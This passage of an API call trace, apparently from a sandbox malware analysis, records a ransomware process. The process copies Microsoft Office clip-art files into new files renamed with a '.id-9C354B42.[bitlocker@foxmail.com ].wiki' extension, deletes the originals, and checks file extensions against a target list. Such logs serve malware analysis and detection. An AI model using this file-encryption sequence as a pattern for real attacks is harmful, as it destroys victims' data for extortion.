lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.710] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=18258) returned 1 [0190.711] CloseHandle (hObject=0x1f8) returned 1 [0190.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0190.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.711] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.711] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.711] GetLastError () returned 0x0 [0190.711] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4752, lpOverlapped=0x0) returned 1 [0190.852] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4760, lpOverlapped=0x0) returned 1 [0190.853] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.853] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.853] SetEndOfFile (hFile=0x1c8) returned 1 [0190.853] CloseHandle (hObject=0x1c8) returned 1 [0190.853] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.853] SetEndOfFile (hFile=0x1f8) returned 1 [0190.854] CloseHandle (hObject=0x1f8) returned 1 [0190.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0190.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.855] lstrlenW (lpString=".doc") returned 4 [0190.855] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.855] lstrlenW (lpString=".docx") returned 5 [0190.855] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0190.855] lstrlenW (lpString=".pdf") returned 4 [0190.855] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.855] lstrlenW (lpString=".xls") returned 4 [0190.855] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.855] lstrlenW (lpString=".xlsx") returned 5 [0190.855] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0190.855] lstrlenW (lpString=".ppt") returned 4 [0190.855] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.855] lstrlenW (lpString=".zip") returned 4 [0190.855] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.855] lstrlenW (lpString=".rar") returned 4 [0190.855] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.855] lstrlenW (lpString=".bz2") returned 4 [0190.855] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.855] lstrlenW (lpString=".7z") returned 3 [0190.855] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.855] lstrlenW (lpString=".dbf") returned 4 [0190.855] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.855] lstrlenW (lpString=".1cd") returned 4 [0190.856] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.856] lstrlenW (lpString=".jpg") returned 4 [0190.856] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.856] lstrlenW (lpString=".doc") returned 4 [0190.856] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.856] lstrlenW (lpString=".docx") returned 5 [0190.856] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0190.856] lstrlenW (lpString=".pdf") returned 4 [0190.856] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.856] lstrlenW (lpString=".xls") returned 4 [0190.856] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.856] lstrlenW (lpString=".xlsx") returned 5 [0190.856] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0190.856] lstrlenW (lpString=".ppt") returned 4 [0190.856] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.856] lstrlenW (lpString=".zip") returned 4 [0190.856] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.856] lstrlenW (lpString=".rar") returned 4 [0190.856] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.856] lstrlenW (lpString=".bz2") returned 4 [0190.856] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.856] lstrlenW (lpString=".7z") returned 3 [0190.856] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.857] lstrlenW (lpString=".dbf") returned 4 [0190.857] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.857] lstrlenW (lpString=".1cd") returned 4 [0190.857] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0190.857] lstrlenW (lpString=".jpg") returned 4 [0190.857] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.857] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.857] lstrlenW (lpString="J0099150.JPG") returned 12 [0190.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.857] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=21914) returned 1 [0190.857] CloseHandle (hObject=0x1f8) returned 1 [0190.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0190.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.858] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.858] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.858] GetLastError () returned 0x0 [0190.858] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x559a, lpOverlapped=0x0) returned 1 [0190.914] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x55a0, lpOverlapped=0x0) returned 1 [0190.915] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.915] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.915] SetEndOfFile (hFile=0x1c8) returned 1 [0190.915] CloseHandle (hObject=0x1c8) returned 1 [0190.916] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.916] SetEndOfFile (hFile=0x1f8) returned 1 [0190.916] CloseHandle (hObject=0x1f8) returned 1 [0190.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0190.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.917] lstrlenW (lpString=".doc") returned 4 [0190.917] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.917] lstrlenW (lpString=".docx") returned 5 [0190.917] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0190.917] lstrlenW (lpString=".pdf") returned 4 [0190.917] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.917] lstrlenW (lpString=".xls") returned 4 [0190.917] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.917] lstrlenW (lpString=".xlsx") returned 5 [0190.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0190.917] lstrlenW (lpString=".ppt") returned 4 [0190.917] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.917] lstrlenW (lpString=".zip") returned 4 [0190.917] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.917] lstrlenW (lpString=".rar") returned 4 [0190.917] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.917] lstrlenW (lpString=".bz2") returned 4 [0190.917] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.917] lstrlenW (lpString=".7z") returned 3 [0190.918] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.918] lstrlenW (lpString=".dbf") returned 4 [0190.918] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.918] lstrlenW (lpString=".1cd") returned 4 [0190.918] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.918] lstrlenW (lpString=".jpg") returned 4 [0190.918] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.918] lstrlenW (lpString=".doc") returned 4 [0190.918] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.918] lstrlenW (lpString=".docx") returned 5 [0190.918] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0190.918] lstrlenW (lpString=".pdf") returned 4 [0190.918] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.918] lstrlenW (lpString=".xls") returned 4 [0190.918] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.918] lstrlenW (lpString=".xlsx") returned 5 [0190.918] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0190.918] lstrlenW (lpString=".ppt") returned 4 [0190.918] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.918] lstrlenW (lpString=".zip") returned 4 [0190.918] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.918] lstrlenW (lpString=".rar") returned 4 [0190.918] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.919] lstrlenW (lpString=".bz2") returned 4 [0190.919] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.919] lstrlenW (lpString=".7z") returned 3 [0190.919] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.919] lstrlenW (lpString=".dbf") returned 4 [0190.919] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.919] lstrlenW (lpString=".1cd") returned 4 [0190.919] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0190.919] lstrlenW (lpString=".jpg") returned 4 [0190.919] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.919] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.919] lstrlenW (lpString="J0099155.JPG") returned 12 [0190.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.920] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8826) returned 1 [0190.920] CloseHandle (hObject=0x1f8) returned 1 [0190.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0190.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.920] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.920] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.920] GetLastError () returned 0x0 [0190.920] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x227a, lpOverlapped=0x0) returned 1 [0190.940] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2280, lpOverlapped=0x0) returned 1 [0190.942] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.942] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.942] SetEndOfFile (hFile=0x1c8) returned 1 [0190.942] CloseHandle (hObject=0x1c8) returned 1 [0190.942] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.943] SetEndOfFile (hFile=0x1f8) returned 1 [0190.943] CloseHandle (hObject=0x1f8) returned 1 [0190.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.944] lstrlenW (lpString=".doc") returned 4 [0190.944] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.944] lstrlenW (lpString=".docx") returned 5 [0190.944] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0190.944] lstrlenW (lpString=".pdf") returned 4 [0190.944] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.944] lstrlenW (lpString=".xls") returned 4 [0190.944] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.944] lstrlenW (lpString=".xlsx") returned 5 [0190.944] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0190.944] lstrlenW (lpString=".ppt") returned 4 [0190.944] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.944] lstrlenW (lpString=".zip") returned 4 [0190.944] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.944] lstrlenW (lpString=".rar") returned 4 [0190.944] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.944] lstrlenW (lpString=".bz2") returned 4 [0190.944] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.945] lstrlenW (lpString=".7z") returned 3 [0190.945] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.945] lstrlenW (lpString=".dbf") returned 4 [0190.945] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.945] lstrlenW (lpString=".1cd") returned 4 [0190.945] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.945] lstrlenW (lpString=".jpg") returned 4 [0190.945] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.945] lstrlenW (lpString=".doc") returned 4 [0190.945] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.945] lstrlenW (lpString=".docx") returned 5 [0190.945] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0190.945] lstrlenW (lpString=".pdf") returned 4 [0190.945] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.945] lstrlenW (lpString=".xls") returned 4 [0190.945] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.945] lstrlenW (lpString=".xlsx") returned 5 [0190.945] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0190.945] lstrlenW (lpString=".ppt") returned 4 [0190.945] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.945] lstrlenW (lpString=".zip") returned 4 [0190.945] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.945] lstrlenW (lpString=".rar") returned 4 [0190.945] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.945] lstrlenW (lpString=".bz2") returned 4 [0190.945] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.946] lstrlenW (lpString=".7z") returned 3 [0190.946] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.946] lstrlenW (lpString=".dbf") returned 4 [0190.946] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.946] lstrlenW (lpString=".1cd") returned 4 [0190.946] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0190.946] lstrlenW (lpString=".jpg") returned 4 [0190.946] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.946] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.946] lstrlenW (lpString="J0099158.WMF") returned 12 [0190.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.946] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=26160) returned 1 [0190.946] CloseHandle (hObject=0x1f8) returned 1 [0190.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0190.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[bitlocker@foxmail.com 